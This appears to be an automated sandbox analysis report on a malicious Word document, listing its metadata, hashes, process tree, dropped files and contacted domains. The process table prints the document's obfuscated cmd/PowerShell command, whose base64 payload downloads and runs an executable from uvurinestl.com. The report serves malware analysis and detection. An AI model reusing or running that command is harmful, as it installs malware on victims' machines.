File name: | 2063ab132489ad8c103664bc9b1f6593aac35b7a1cef3008d725dc50c9eb32da |
Full analysis: | https://app.any.run/tasks/7d3806c5-0731-45c7-8c69-67432353b298 |
Verdict: | Malicious activity |
Analysis date: | November 14, 2018, 13:43:57 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Title: Triple-buffered client-server encoding, Subject: Vermont Kamren, Comments: Versatile methodical hub, Template: Normal, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Apr 25 22:21:00 2018, Last Saved Time/Date: Thu Nov 8 06:46:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0 |
MD5: | 051722B518FAEF79C24993798CB627D4 |
SHA1: | 73ACF6CB0B48949C45BECD25C54B34C4FB9A04D2 |
SHA256: | 2063AB132489AD8C103664BC9B1F6593AAC35B7A1CEF3008D725DC50C9EB32DA |
SSDEEP: | 1536:RvjjkUBGW23rWBC1TMP0gCQWVUDbkYkQL7ISdMQ6ZS5kyP2tTP7jC:djjVBGW2KCTBfVUDbkYJXdMHSkLhP7jC |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | Triple-buffered client-server encoding |
---|---|
Subject: | Vermont Kamren |
Author: | - |
Keywords: | - |
Comments: | Versatile methodical hub |
Template: | Normal |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2018:04:25 21:21:00 |
ModifyDate: | 2018:11:08 06:46:00 |
Pages: | 1 |
Words: | - |
Characters: | 1 |
Security: | None |
CodePage: | Windows Cyrillic |
Manager: | - |
Company: | - |
Bytes: | 90624 |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 1 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: |
|
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1908 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\2063ab132489ad8c103664bc9b1f6593aac35b7a1cef3008d725dc50c9eb32da.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2952 | CMd.eXe /c p^o^W^e^r^S^h^e^l^L^.^e^x^e^ ^-^e^c^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^1^A^H^Y^A^d^Q^B^y^A^G^k^A^b^g^B^l^A^H^M^A^d^A^B^s^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^X^A^E^U^A^U^w^A^v^A^G^Y^A^Y^Q^B^0^A^G^8^A^Z^w^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^H^c^A^e^Q^B^u^A^G^M^A^N^w^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^c^A^X^A^A^y^A^D^k^A^M^Q^B^i^A^G^U^A^Z^g^A^2^A^D^A^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^c^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^M^g^A^5^A^D^E^A^Y^g^B^l^A^G^Y^A^N^g^A^w^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^d^A^A^= | C:\Windows\system32\CMd.eXe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2216 | poWerShelL.exe -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwB1AHYAdQByAGkAbgBlAHMAdABsAC4AYwBvAG0ALwBXAEUAUwAvAGYAYQB0AG8AZwAuAHAAaABwAD8AbAA9AHcAeQBuAGMANwAuAHgAYQBwACIALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXAAyADkAMQBiAGUAZgA2ADAALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwAMgA5ADEAYgBlAGYANgAwAC4AZQB4AGUAJwA7ACAARQB4AGkAdAA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | CMd.eXe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
1908 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR9536.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2216 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XUKO4H1MPVVTBSSVKE69.temp | — | |
MD5:— | SHA256:— | |||
2216 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:3C6A7AAE234382390B6B52F47ECA1BAA | SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2 | |||
2216 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF5da265.TMP | binary | |
MD5:3C6A7AAE234382390B6B52F47ECA1BAA | SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2 | |||
1908 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$63ab132489ad8c103664bc9b1f6593aac35b7a1cef3008d725dc50c9eb32da.doc | pgc | |
MD5:082957CF3C189DE47CCFBB1E68B38F92 | SHA256:9ABC789F01F9DF0EB7B027FFC6E0088B5E69F474CAE981B9686BE466B1111C63 | |||
1908 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:F12123BE3FC217E2B306FA7D3C1EF718 | SHA256:3C767FE8FEA3E2CCF71ADDB57BE518569265124015C279DC07A0A438B8E20F32 |
Domain | IP | Reputation |
---|---|---|
uvurinestl.com |
| unknown |
dns.msftncsi.com |
| shared |